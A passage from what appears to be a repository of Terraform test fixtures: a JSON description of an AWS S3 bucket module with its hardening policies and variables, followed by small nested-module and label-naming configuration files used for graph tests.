{ "references": [ "local.create_bucket", "var.replication_configuration" ] }, "depends_on": [ "aws_s3_bucket_versioning.this" ] }, { "address": "aws_s3_bucket_request_payment_configuration.this", "mode": "managed", "type": "aws_s3_bucket_request_payment_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "payer": { "references": [ "var.request_payer" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.request_payer" ] } }, { "address": "aws_s3_bucket_server_side_encryption_configuration.this", "mode": "managed", "type": "aws_s3_bucket_server_side_encryption_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.server_side_encryption_configuration" ] } }, { "address": "aws_s3_bucket_versioning.this", "mode": "managed", "type": "aws_s3_bucket_versioning", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] }, "mfa": { "references": [ "var.versioning[\"mfa\"]", "var.versioning" ] }, "versioning_configuration": [ { "mfa_delete": { "references": [ "var.versioning[\"mfa_delete\"]", "var.versioning", "var.versioning[\"mfa_delete\"]", "var.versioning" ] }, "status": { "references": [ "var.versioning[\"enabled\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning", "var.versioning[\"status\"]", "var.versioning" ] } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.versioning" ] } }, { "address": "aws_s3_bucket_website_configuration.this", "mode": "managed", "type": "aws_s3_bucket_website_configuration", "name": "this", "provider_config_key": "s3-bucket-2:aws", "expressions": { "bucket": { "references": [ "aws_s3_bucket.this[0].id", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "expected_bucket_owner": { "references": [ "var.expected_bucket_owner" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.website" ] } }, { "address": "data.aws_caller_identity.current", "mode": "data", "type": "aws_caller_identity", "name": "current", "provider_config_key": "s3-bucket-2:aws", "schema_version": 0 }, { "address": "data.aws_canonical_user_id.this", "mode": "data", "type": "aws_canonical_user_id", "name": "this", "provider_config_key": "s3-bucket-2:aws", "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.create_bucket_acl", "var.owner[\"id\"]", "var.owner" ] } }, { "address": "data.aws_iam_policy_document.access_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "access_log_delivery", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logging.s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSAccessLogDeliveryWrite" } }, { "actions": { "constant_value": [ "s3:GetBucketAcl" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logging.s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSAccessLogDeliveryAclCheck" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_access_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.combined", "mode": "data", "type": "aws_iam_policy_document", "name": "combined", "provider_config_key": "s3-bucket-2:aws", "expressions": { "source_policy_documents": { "references": [ "var.attach_elb_log_delivery_policy", "data.aws_iam_policy_document.elb_log_delivery[0].json", "data.aws_iam_policy_document.elb_log_delivery[0]", "data.aws_iam_policy_document.elb_log_delivery", "var.attach_lb_log_delivery_policy", "data.aws_iam_policy_document.lb_log_delivery[0].json", "data.aws_iam_policy_document.lb_log_delivery[0]", "data.aws_iam_policy_document.lb_log_delivery", "var.attach_access_log_delivery_policy", "data.aws_iam_policy_document.access_log_delivery[0].json", "data.aws_iam_policy_document.access_log_delivery[0]", "data.aws_iam_policy_document.access_log_delivery", "var.attach_require_latest_tls_policy", "data.aws_iam_policy_document.require_latest_tls[0].json", "data.aws_iam_policy_document.require_latest_tls[0]", "data.aws_iam_policy_document.require_latest_tls", "var.attach_deny_insecure_transport_policy", "data.aws_iam_policy_document.deny_insecure_transport[0].json", "data.aws_iam_policy_document.deny_insecure_transport[0]", "data.aws_iam_policy_document.deny_insecure_transport", "var.attach_deny_unencrypted_object_uploads", "data.aws_iam_policy_document.deny_unencrypted_object_uploads[0].json", "data.aws_iam_policy_document.deny_unencrypted_object_uploads[0]", "data.aws_iam_policy_document.deny_unencrypted_object_uploads", "var.attach_deny_incorrect_kms_key_sse", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0].json", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse[0]", "data.aws_iam_policy_document.deny_incorrect_kms_key_sse", "var.attach_deny_incorrect_encryption_headers", "data.aws_iam_policy_document.deny_incorrect_encryption_headers[0].json", "data.aws_iam_policy_document.deny_incorrect_encryption_headers[0]", "data.aws_iam_policy_document.deny_incorrect_encryption_headers", "var.attach_inventory_destination_policy", "var.attach_analytics_destination_policy", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0].json", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy[0]", "data.aws_iam_policy_document.inventory_and_analytics_destination_policy", "var.attach_policy", "var.policy" ] } }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "local.attach_policy" ] } }, { "address": "data.aws_iam_policy_document.deny_incorrect_encryption_headers", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_incorrect_encryption_headers", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringNotEquals" }, "values": { "references": [ "var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default.sse_algorithm", "var.server_side_encryption_configuration.rule.apply_server_side_encryption_by_default", "var.server_side_encryption_configuration.rule", "var.server_side_encryption_configuration" ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyIncorrectEncryptionHeaders" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_incorrect_encryption_headers" ] } }, { "address": "data.aws_iam_policy_document.deny_incorrect_kms_key_sse", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_incorrect_kms_key_sse", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringNotEquals" }, "values": { "references": [ "var.allowed_kms_key_arn" ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption-aws-kms-key-id" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyIncorrectKmsKeySse" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_incorrect_kms_key_sse" ] } }, { "address": "data.aws_iam_policy_document.deny_insecure_transport", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_insecure_transport", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "Bool" }, "values": { "constant_value": [ "false" ] }, "variable": { "constant_value": "aws:SecureTransport" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyInsecureTransport" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_insecure_transport_policy" ] } }, { "address": "data.aws_iam_policy_document.deny_unencrypted_object_uploads", "mode": "data", "type": "aws_iam_policy_document", "name": "deny_unencrypted_object_uploads", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "Null" }, "values": { "constant_value": [ true ] }, "variable": { "constant_value": "s3:x-amz-server-side-encryption" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyUnencryptedObjectUploads" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_deny_unencrypted_object_uploads" ] } }, { "address": "data.aws_iam_policy_document.elb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "elb_log_delivery", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "logdelivery.elasticloadbalancing.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_elb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.inventory_and_analytics_destination_policy", "mode": "data", "type": "aws_iam_policy_document", "name": "inventory_and_analytics_destination_policy", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "ArnLike" }, "values": { "references": [ "var.inventory_self_source_destination", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "var.inventory_source_bucket_arn", "var.analytics_self_source_destination", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "var.analytics_source_bucket_arn" ] }, "variable": { "constant_value": "aws:SourceArn" } }, { "test": { "constant_value": "StringEquals" }, "values": { "references": [ "var.inventory_self_source_destination", "data.aws_caller_identity.current.id", "data.aws_caller_identity.current", "var.inventory_source_account_id", "var.analytics_self_source_destination", "data.aws_caller_identity.current.id", "data.aws_caller_identity.current", "var.analytics_source_account_id" ] }, "variable": { "constant_value": "aws:SourceAccount" } }, { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "bucket-owner-full-control" ] }, "variable": { "constant_value": "s3:x-amz-acl" } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "s3.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "destinationInventoryAndAnalyticsPolicy" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_inventory_destination_policy", "var.attach_analytics_destination_policy" ] } }, { "address": "data.aws_iam_policy_document.lb_log_delivery", "mode": "data", "type": "aws_iam_policy_document", "name": "lb_log_delivery", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:PutObject" ] }, "condition": [ { "test": { "constant_value": "StringEquals" }, "values": { "constant_value": [ "bucket-owner-full-control" ] }, "variable": { "constant_value": "s3:x-amz-acl" } } ], "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryWrite" } }, { "actions": { "constant_value": [ "s3:GetBucketAcl", "s3:ListBucket" ] }, "effect": { "constant_value": "Allow" }, "principals": [ { "identifiers": { "constant_value": [ "delivery.logs.amazonaws.com" ] }, "type": { "constant_value": "Service" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "AWSLogDeliveryAclCheck" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_lb_log_delivery_policy" ] } }, { "address": "data.aws_iam_policy_document.require_latest_tls", "mode": "data", "type": "aws_iam_policy_document", "name": "require_latest_tls", "provider_config_key": "s3-bucket-2:aws", "expressions": { "statement": [ { "actions": { "constant_value": [ "s3:*" ] }, "condition": [ { "test": { "constant_value": "NumericLessThan" }, "values": { "constant_value": [ "1.2" ] }, "variable": { "constant_value": "s3:TlsVersion" } } ], "effect": { "constant_value": "Deny" }, "principals": [ { "identifiers": { "constant_value": [ "*" ] }, "type": { "constant_value": "*" } } ], "resources": { "references": [ "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this", "aws_s3_bucket.this[0].arn", "aws_s3_bucket.this[0]", "aws_s3_bucket.this" ] }, "sid": { "constant_value": "denyOutdatedTLS" } } ] }, "schema_version": 0, "count_expression": { "references": [ "local.create_bucket", "var.attach_require_latest_tls_policy" ] } }, { "address": "data.aws_partition.current", "mode": "data", "type": "aws_partition", "name": "current", "provider_config_key": "s3-bucket-2:aws", "schema_version": 0 }, { "address": "data.aws_region.current", "mode": "data", "type": "aws_region", "name": "current", "provider_config_key": "s3-bucket-2:aws", "schema_version": 0 } ], "variables": { "acceleration_status": { "default": null, "description": "(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended." }, "access_log_delivery_policy_source_accounts": { "default": [], "description": "(Optional) List of AWS Account IDs should be allowed to deliver access logs to this bucket." }, "access_log_delivery_policy_source_buckets": { "default": [], "description": "(Optional) List of S3 bucket ARNs wich should be allowed to deliver access logs to this bucket." }, "acl": { "default": null, "description": "(Optional) The canned ACL to apply. Conflicts with `grant`" }, "allowed_kms_key_arn": { "default": null, "description": "The ARN of KMS key which should be allowed in PutObject" }, "analytics_configuration": { "default": {}, "description": "Map containing bucket analytics configuration." }, "analytics_self_source_destination": { "default": false, "description": "Whether or not the analytics source bucket is also the destination bucket." }, "analytics_source_account_id": { "default": null, "description": "The analytics source account id." }, "analytics_source_bucket_arn": { "default": null, "description": "The analytics source bucket ARN." }, "attach_access_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have S3 access log delivery policy attached" }, "attach_analytics_destination_policy": { "default": false, "description": "Controls if S3 bucket should have bucket analytics destination policy attached." }, "attach_deny_incorrect_encryption_headers": { "default": false, "description": "Controls if S3 bucket should deny incorrect encryption headers policy attached." }, "attach_deny_incorrect_kms_key_sse": { "default": false, "description": "Controls if S3 bucket policy should deny usage of incorrect KMS key SSE." }, "attach_deny_insecure_transport_policy": { "default": false, "description": "Controls if S3 bucket should have deny non-SSL transport policy attached" }, "attach_deny_unencrypted_object_uploads": { "default": false, "description": "Controls if S3 bucket should deny unencrypted object uploads policy attached." }, "attach_elb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ELB log delivery policy attached" }, "attach_inventory_destination_policy": { "default": false, "description": "Controls if S3 bucket should have bucket inventory destination policy attached." }, "attach_lb_log_delivery_policy": { "default": false, "description": "Controls if S3 bucket should have ALB/NLB log delivery policy attached" }, "attach_policy": { "default": false, "description": "Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)" }, "attach_public_policy": { "default": true, "description": "Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)" }, "attach_require_latest_tls_policy": { "default": false, "description": "Controls if S3 bucket should require the latest version of TLS" }, "block_public_acls": { "default": true, "description": "Whether Amazon S3 should block public ACLs for this bucket." }, "block_public_policy": { "default": true, "description": "Whether Amazon S3 should block public bucket policies for this bucket." }, "bucket": { "default": null, "description": "(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name." }, "bucket_prefix": { "default": null, "description": "(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket." }, "control_object_ownership": { "default": false, "description": "Whether to manage S3 Bucket Ownership Controls on this bucket." }, "cors_rule": { "default": [], "description": "List of maps containing rules for Cross-Origin Resource Sharing." }, "create_bucket": { "default": true, "description": "Controls if S3 bucket should be created" }, "expected_bucket_owner": { "default": null, "description": "The account ID of the expected bucket owner" }, "force_destroy": { "default": false, "description": "(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable." }, "grant": { "default": [], "description": "An ACL policy grant. Conflicts with `acl`" }, "ignore_public_acls": { "default": true, "description": "Whether Amazon S3 should ignore public ACLs for this bucket." }, "intelligent_tiering": { "default": {}, "description": "Map containing intelligent tiering configuration." }, "inventory_configuration": { "default": {}, "description": "Map containing S3 inventory configuration." }, "inventory_self_source_destination": { "default": false, "description": "Whether or not the inventory source bucket is also the destination bucket." }, "inventory_source_account_id": { "default": null, "description": "The inventory source account id." }, "inventory_source_bucket_arn": { "default": null, "description": "The inventory source bucket ARN." }, "lifecycle_rule": { "default": [], "description": "List of maps containing configuration of object lifecycle management." }, "logging": { "default": {}, "description": "Map containing access bucket logging configuration." }, "metric_configuration": { "default": [], "description": "Map containing bucket metric configuration." }, "object_lock_configuration": { "default": {}, "description": "Map containing S3 object locking configuration." }, "object_lock_enabled": { "default": false, "description": "Whether S3 bucket should have an Object Lock configuration enabled." }, "object_ownership": { "default": "BucketOwnerEnforced", "description": "Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL." }, "owner": { "default": {}, "description": "Bucket owner's display name and ID. Conflicts with `acl`" }, "policy": { "default": null, "description": "(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide." }, "replication_configuration": { "default": {}, "description": "Map containing cross-region replication configuration." }, "request_payer": { "default": null, "description": "(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information." }, "restrict_public_buckets": { "default": true, "description": "Whether Amazon S3 should restrict public bucket policies for this bucket." }, "server_side_encryption_configuration": { "default": {}, "description": "Map containing server-side encryption configuration." }, "tags": { "default": {}, "description": "(Optional) A mapping of tags to assign to the bucket." }, "versioning": { "default": {}, "description": "Map containing versioning configuration." }, "website": { "default": {}, "description": "Map containing static web-site hosting or redirect configuration." } }, "address": "module.test.module.s3-bucket-2" }, "version_constraint": "4.0.1" } } } } } } } } ================================================ FILE: tests/terraform/graph/resources/nested_modules_address/main.tf ================================================ provider "aws" { region = "us-west-2" alias = "test_provider" test_provider = True } module "s3_module" { source = "./module" bucket = aws_s3_bucket.example.id } resource "aws_s3_bucket" "example" { bucket = "example" } ================================================ FILE: tests/terraform/graph/resources/nested_modules_address/module/main.tf ================================================ module "inner_s3_module" { source = "./module2" bucket2 = var.bucket } ================================================ FILE: tests/terraform/graph/resources/nested_modules_address/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } ================================================ FILE: tests/terraform/graph/resources/nested_modules_address/module/module2/variable.tf ================================================ variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/resources/nested_modules_address/module/variable.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/examples/complete/fixtures.us-west-1.tfvars ================================================ region = "us-west-1" namespace = "eg" stage = "test" name = "s3-user" s3_actions = ["s3:GetObject"] s3_resources = ["arn:aws:s3:::cpco-testing-ecs-alb-access-logs/*"] ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/examples/complete/main.tf ================================================ provider "aws" { region = var.region } module "s3_user" { source = "../../" namespace = var.namespace stage = var.stage name = var.name force_destroy = true s3_actions = var.s3_actions s3_resources = var.s3_resources } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/examples/complete/outputs.tf ================================================ output "user_name" { value = module.s3_user.user_name description = "Normalized IAM user name" } output "user_arn" { value = module.s3_user.user_arn description = "The ARN assigned by AWS for the user" } output "user_unique_id" { value = module.s3_user.user_unique_id description = "The user unique ID assigned by AWS" } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/examples/complete/variables.tf ================================================ variable "region" { type = string description = "AWS region" } variable "name" { type = string description = "The Name of the application or solution (e.g. `bastion` or `portal`)" } variable "namespace" { type = string description = "Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'" } variable "stage" { type = string description = "Stage (e.g. `prod`, `dev`, `staging`)" } variable "s3_actions" { type = list(string) description = "Actions to allow in the policy" } variable "s3_resources" { type = list(string) description = "S3 resources to apply the actions specified in the policy" } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/four/main.tf ================================================ locals { defaults = { # The `tenant` label was introduced in v0.25.0. To preserve backward compatibility, or, really, to ensure # that people using the `tenant` label are alerted that it was not previously supported if they try to # use it in an older version, it is not included by default. label_order = ["namespace", "environment", "stage", "name", "attributes"] regex_replace_chars = "/[^-a-zA-Z0-9]/" delimiter = "-" replacement = "" id_length_limit = 0 id_hash_length = 5 label_key_case = "title" label_value_case = "lower" # The default value of labels_as_tags cannot be included in this # defaults` map because it creates a circular dependency } default_labels_as_tags = keys(local.tags_context) # Unlike other inputs, the first setting of `labels_as_tags` cannot be later overridden. However, # we still have to pass the `input` map as the context to the next module. So we need to distinguish # between the first setting of var.labels_as_tags == null as meaning set the default and do not change # it later, versus later settings of var.labels_as_tags that should be ignored. So, we make the # default value in context be "unset", meaning it can be changed, but when it is unset and # var.labels_as_tags is null, we change it to "default". Once it is set to "default" we will # not allow it to be changed again, but of course we have to detect "default" and replace it # with local.default_labels_as_tags when we go to use it. # # We do not want to use null as default or unset, because Terraform has issues with # the value of an object field being null in some places and [] in others. # We do not want to use [] as default or unset because that is actually a valid setting # that we want to have override the default. # # To determine whether that context.labels_as_tags is not set, # we have to cover 2 cases: 1) context does not have a labels_as_tags key, 2) it is present and set to ["unset"] context_labels_as_tags_is_unset = try(contains(var.context.labels_as_tags, "unset"), true) # So far, we have decided not to allow overriding replacement or id_hash_length replacement = local.defaults.replacement id_hash_length = local.defaults.id_hash_length # The values provided by variables supersede the values inherited from the context object, # except for tags and attributes which are merged. input = { # It would be nice to use coalesce here, but we cannot, because it # is an error for all the arguments to coalesce to be empty. enabled = var.enabled == null ? var.context.enabled : var.enabled namespace = var.namespace == null ? var.context.namespace : var.namespace # tenant was introduced in v0.25.0, prior context versions do not have it tenant = var.tenant == null ? lookup(var.context, "tenant", null) : var.tenant environment = var.environment == null ? var.context.environment : var.environment stage = var.stage == null ? var.context.stage : var.stage name = var.name == null ? var.context.name : var.name delimiter = var.delimiter == null ? var.context.delimiter : var.delimiter # modules tack on attributes (passed by var) to the end of the list (passed by context) attributes = compact(distinct(concat(coalesce(var.context.attributes, []), coalesce(var.attributes, [])))) tags = merge(var.context.tags, var.tags) additional_tag_map = merge(var.context.additional_tag_map, var.additional_tag_map) label_order = var.label_order == null ? var.context.label_order : var.label_order regex_replace_chars = var.regex_replace_chars == null ? var.context.regex_replace_chars : var.regex_replace_chars id_length_limit = var.id_length_limit == null ? var.context.id_length_limit : var.id_length_limit label_key_case = var.label_key_case == null ? lookup(var.context, "label_key_case", null) : var.label_key_case label_value_case = var.label_value_case == null ? lookup(var.context, "label_value_case", null) : var.label_value_case descriptor_formats = merge(lookup(var.context, "descriptor_formats", {}), var.descriptor_formats) labels_as_tags = local.context_labels_as_tags_is_unset ? var.labels_as_tags : var.context.labels_as_tags } enabled = local.input.enabled regex_replace_chars = coalesce(local.input.regex_replace_chars, local.defaults.regex_replace_chars) # string_label_names are names of inputs that are strings (not list of strings) used as labels string_label_names = ["namespace", "tenant", "environment", "stage", "name"] normalized_labels = { for k in local.string_label_names : k => local.input[k] == null ? "" : replace(local.input[k], local.regex_replace_chars, local.replacement) } normalized_attributes = compact(distinct([for v in local.input.attributes : replace(v, local.regex_replace_chars, local.replacement)])) formatted_labels = { for k in local.string_label_names : k => local.label_value_case == "none" ? local.normalized_labels[k] : local.label_value_case == "title" ? title(lower(local.normalized_labels[k])) : local.label_value_case == "upper" ? upper(local.normalized_labels[k]) : lower(local.normalized_labels[k]) } attributes = compact(distinct([ for v in local.normalized_attributes : (local.label_value_case == "none" ? v : local.label_value_case == "title" ? title(lower(v)) : local.label_value_case == "upper" ? upper(v) : lower(v)) ])) namespace = local.formatted_labels["namespace"] tenant = local.formatted_labels["tenant"] environment = local.formatted_labels["environment"] stage = local.formatted_labels["stage"] name = local.formatted_labels["name"] delimiter = local.input.delimiter == null ? local.defaults.delimiter : local.input.delimiter label_order = local.input.label_order == null ? local.defaults.label_order : coalescelist(local.input.label_order, local.defaults.label_order) id_length_limit = local.input.id_length_limit == null ? local.defaults.id_length_limit : local.input.id_length_limit label_key_case = local.input.label_key_case == null ? local.defaults.label_key_case : local.input.label_key_case label_value_case = local.input.label_value_case == null ? local.defaults.label_value_case : local.input.label_value_case # labels_as_tags is an exception to the rule that input vars override context values (see above) labels_as_tags = contains(local.input.labels_as_tags, "default") ? local.default_labels_as_tags : local.input.labels_as_tags # Just for standardization and completeness descriptor_formats = local.input.descriptor_formats additional_tag_map = merge(var.context.additional_tag_map, var.additional_tag_map) tags = merge(local.generated_tags, local.input.tags) tags_as_list_of_maps = flatten([ for key in keys(local.tags) : merge( { key = key value = local.tags[key] }, local.additional_tag_map) ]) tags_context = { namespace = local.namespace tenant = local.tenant environment = local.environment stage = local.stage # For AWS we need `Name` to be disambiguated since it has a special meaning name = local.id attributes = local.id_context.attributes } generated_tags = { for l in setintersection(keys(local.tags_context), local.labels_as_tags) : local.label_key_case == "upper" ? upper(l) : ( local.label_key_case == "lower" ? lower(l) : title(lower(l)) ) => local.tags_context[l] if length(local.tags_context[l]) > 0 } id_context = { namespace = local.namespace tenant = local.tenant environment = local.environment stage = local.stage name = local.name attributes = join(local.delimiter, local.attributes) } labels = [for l in local.label_order : local.id_context[l] if length(local.id_context[l]) > 0] id_full = join(local.delimiter, local.labels) # Create a truncated ID if needed delimiter_length = length(local.delimiter) # Calculate length of normal part of ID, leaving room for delimiter and hash id_truncated_length_limit = local.id_length_limit - (local.id_hash_length + local.delimiter_length) # Truncate the ID and ensure a single (not double) trailing delimiter id_truncated = local.id_truncated_length_limit <= 0 ? "" : "${trimsuffix(substr(local.id_full, 0, local.id_truncated_length_limit), local.delimiter)}${local.delimiter}" # Support usages that disallow numeric characters. Would prefer tr 0-9 q-z but Terraform does not support it. # Probably would have been better to take the hash of only the characters being removed, # so identical removed strings would produce identical hashes, but it is not worth breaking existing IDs for. id_hash_plus = "${md5(local.id_full)}qrstuvwxyz" id_hash_case = local.label_value_case == "title" ? title(local.id_hash_plus) : local.label_value_case == "upper" ? upper(local.id_hash_plus) : local.label_value_case == "lower" ? lower(local.id_hash_plus) : local.id_hash_plus id_hash = replace(local.id_hash_case, local.regex_replace_chars, local.replacement) # Create the short ID by adding a hash to the end of the truncated ID id_short = substr("${local.id_truncated}${local.id_hash}", 0, local.id_length_limit) id = local.id_length_limit != 0 && length(local.id_full) > local.id_length_limit ? local.id_short : local.id_full # Context of this label to pass to other label modules output_context = { enabled = local.enabled namespace = local.namespace tenant = local.tenant environment = local.environment stage = local.stage name = local.name delimiter = local.delimiter attributes = local.attributes tags = local.tags additional_tag_map = local.additional_tag_map label_order = local.label_order regex_replace_chars = local.regex_replace_chars id_length_limit = local.id_length_limit label_key_case = local.label_key_case label_value_case = local.label_value_case labels_as_tags = local.labels_as_tags descriptor_formats = local.descriptor_formats } } ================================================ FILE: tests/terraform/graph/resources/nested_modules_double_call/four/output.tf ================================================ output "id" { value = local.enabled ? local.id : "" description = "Disambiguated ID string restricted to `id_length_limit` characters in total" } output "id_full" { value = local.enabled ? local.id_full : "" description = "ID string not restricted in length" } output "enabled" { value = local.enabled description = "True if module is enabled, false otherwise" } output "namespace" { value = local.enabled ? local.namespace : "" description = "Normalized namespace" } output "tenant" { value = local.enabled ? local.tenant : "" description = "Normalized tenant" } output "environment" { value = local.enabled ? local.environment : "" description = "Normalized environment" } output "name" { value = local.enabled ? 